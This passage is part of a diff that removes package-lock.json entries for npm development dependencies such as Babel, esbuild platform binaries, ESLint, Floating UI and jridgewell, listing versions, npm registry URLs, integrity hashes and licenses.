"sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-option": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helpers": { - "version": "7.28.4", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", - "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.4" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", - "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.5" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-self": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-source": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.28.4", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.4.tgz", - "integrity": "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/template": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", - "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/parser": "^7.27.2", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/traverse": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", - "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-globals": "^7.28.0", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.5", - "debug": "^4.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/types": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", - "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.2.tgz", - "integrity": "sha512-GZMB+a0mOMZs4MpDbj8RJp4cw+w1WV5NYD6xzgvzUJ5Ek2jerwfO2eADyI6ExDSUED+1X8aMbegahsJi+8mgpw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.2.tgz", - "integrity": "sha512-DVNI8jlPa7Ujbr1yjU2PfUSRtAUZPG9I1RwW4F4xFB1Imiu2on0ADiI/c3td+KmDtVKNbi+nffGDQMfcIMkwIA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.2.tgz", - "integrity": "sha512-pvz8ZZ7ot/RBphf8fv60ljmaoydPU12VuXHImtAs0XhLLw+EXBi2BLe3OYSBslR4rryHvweW5gmkKFwTiFy6KA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.2.tgz", - "integrity": "sha512-z8Ank4Byh4TJJOh4wpz8g2vDy75zFL0TlZlkUkEwYXuPSgX8yzep596n6mT7905kA9uHZsf/o2OJZubl2l3M7A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.2.tgz", - "integrity": "sha512-davCD2Zc80nzDVRwXTcQP/28fiJbcOwvdolL0sOiOsbwBa72kegmVU0Wrh1MYrbuCL98Omp5dVhQFWRKR2ZAlg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.2.tgz", - "integrity": "sha512-ZxtijOmlQCBWGwbVmwOF/UCzuGIbUkqB1faQRf5akQmxRJ1ujusWsb3CVfk/9iZKr2L5SMU5wPBi1UWbvL+VQA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.2.tgz", - "integrity": "sha512-lS/9CN+rgqQ9czogxlMcBMGd+l8Q3Nj1MFQwBZJyoEKI50XGxwuzznYdwcav6lpOGv5BqaZXqvBSiB/kJ5op+g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.2.tgz", - "integrity": "sha512-tAfqtNYb4YgPnJlEFu4c212HYjQWSO/w/h/lQaBK7RbwGIkBOuNKQI9tqWzx7Wtp7bTPaGC6MJvWI608P3wXYA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.2.tgz", - "integrity": "sha512-vWfq4GaIMP9AIe4yj1ZUW18RDhx6EPQKjwe7n8BbIecFtCQG4CfHGaHuh7fdfq+y3LIA2vGS/o9ZBGVxIDi9hw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.2.tgz", - "integrity": "sha512-hYxN8pr66NsCCiRFkHUAsxylNOcAQaxSSkHMMjcpx0si13t1LHFphxJZUiGwojB1a/Hd5OiPIqDdXONia6bhTw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.2.tgz", - "integrity": "sha512-MJt5BRRSScPDwG2hLelYhAAKh9imjHK5+NE/tvnRLbIqUWa+0E9N4WNMjmp/kXXPHZGqPLxggwVhz7QP8CTR8w==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.2.tgz", - "integrity": "sha512-lugyF1atnAT463aO6KPshVCJK5NgRnU4yb3FUumyVz+cGvZbontBgzeGFO1nF+dPueHD367a2ZXe1NtUkAjOtg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.2.tgz", - "integrity": "sha512-nlP2I6ArEBewvJ2gjrrkESEZkB5mIoaTswuqNFRv/WYd+ATtUpe9Y09RnJvgvdag7he0OWgEZWhviS1OTOKixw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.2.tgz", - "integrity": "sha512-C92gnpey7tUQONqg1n6dKVbx3vphKtTHJaNG2Ok9lGwbZil6DrfyecMsp9CrmXGQJmZ7iiVXvvZH6Ml5hL6XdQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.2.tgz", - "integrity": "sha512-B5BOmojNtUyN8AXlK0QJyvjEZkWwy/FKvakkTDCziX95AowLZKR6aCDhG7LeF7uMCXEJqwa8Bejz5LTPYm8AvA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.2.tgz", - "integrity": "sha512-p4bm9+wsPwup5Z8f4EpfN63qNagQ47Ua2znaqGH6bqLlmJ4bx97Y9JdqxgGZ6Y8xVTixUnEkoKSHcpRlDnNr5w==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.2.tgz", - "integrity": "sha512-uwp2Tip5aPmH+NRUwTcfLb+W32WXjpFejTIOWZFw/v7/KnpCDKG66u4DLcurQpiYTiYwQ9B7KOeMJvLCu/OvbA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.2.tgz", - "integrity": "sha512-Kj6DiBlwXrPsCRDeRvGAUb/LNrBASrfqAIok+xB0LxK8CHqxZ037viF13ugfsIpePH93mX7xfJp97cyDuTZ3cw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.2.tgz", - "integrity": "sha512-HwGDZ0VLVBY3Y+Nw0JexZy9o/nUAWq9MlV7cahpaXKW6TOzfVno3y3/M8Ga8u8Yr7GldLOov27xiCnqRZf0tCA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.2.tgz", - "integrity": "sha512-DNIHH2BPQ5551A7oSHD0CKbwIA/Ox7+78/AWkbS5QoRzaqlev2uFayfSxq68EkonB+IKjiuxBFoV8ESJy8bOHA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.2.tgz", - "integrity": "sha512-/it7w9Nb7+0KFIzjalNJVR5bOzA9Vay+yIPLVHfIQYG/j+j9VTH84aNB8ExGKPU4AzfaEvN9/V4HV+F+vo8OEg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.2.tgz", - "integrity": "sha512-LRBbCmiU51IXfeXk59csuX/aSaToeG7w48nMwA6049Y4J4+VbWALAuXcs+qcD04rHDuSCSRKdmY63sruDS5qag==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.2.tgz", - "integrity": "sha512-kMtx1yqJHTmqaqHPAzKCAkDaKsffmXkPHThSfRwZGyuqyIeBvf08KSsYXl+abf5HDAPMJIPnbBfXvP2ZC2TfHg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.2.tgz", - "integrity": "sha512-Yaf78O/B3Kkh+nKABUF++bvJv5Ijoy9AN1ww904rOXZFLWVc5OLOfL56W+C8F9xn5JQZa3UX6m+IktJnIb1Jjg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.2.tgz", - "integrity": "sha512-Iuws0kxo4yusk7sw70Xa2E2imZU5HoixzxfGCdxwBdhiDgt9vX9VUCBhqcwY7/uh//78A1hMkkROMJq9l27oLQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.2.tgz", - "integrity": "sha512-sRdU18mcKf7F+YgheI/zGf5alZatMUTKj/jNS6l744f9u3WFu4v7twcUI9vu4mknF4Y9aDlblIie0IM+5xxaqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.0", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz", - "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.1", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", - "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", - "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.2", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.2.tgz", - "integrity": "sha512-q1mjIoW1VX4IvSocvM/vbTiveKC4k9eLrajNEuSsmjymSDEbpGddtpfOoN7YGAqBK3NG+uqo8ia4PDTt8buCYA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@floating-ui/core": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.3.tgz", - "integrity": "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==", - "license": "MIT", - "dependencies": { - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/dom": { - "version": "1.7.4", - "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.4.tgz", - "integrity": "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==", - "license": "MIT", - "dependencies": { - "@floating-ui/core": "^1.7.3", - "@floating-ui/utils": "^0.2.10" - } - }, - "node_modules/@floating-ui/react-dom": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.6.tgz", - "integrity": "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==", - "license": "MIT", - "dependencies": { - "@floating-ui/dom": "^1.7.4" - }, - "peerDependencies": { - "react": ">=16.8.0", - "react-dom": ">=16.8.0" - } - }, - "node_modules/@floating-ui/utils": { - "version": "0.2.10", - "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz", - "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==", - "license": "MIT" - }, - "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.1", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.13", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "license": "MIT", - "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/remapping": { - "version": "2.3.5", - "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.5", - "@jridgewell/trace-mapping": "^0.3.24" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": 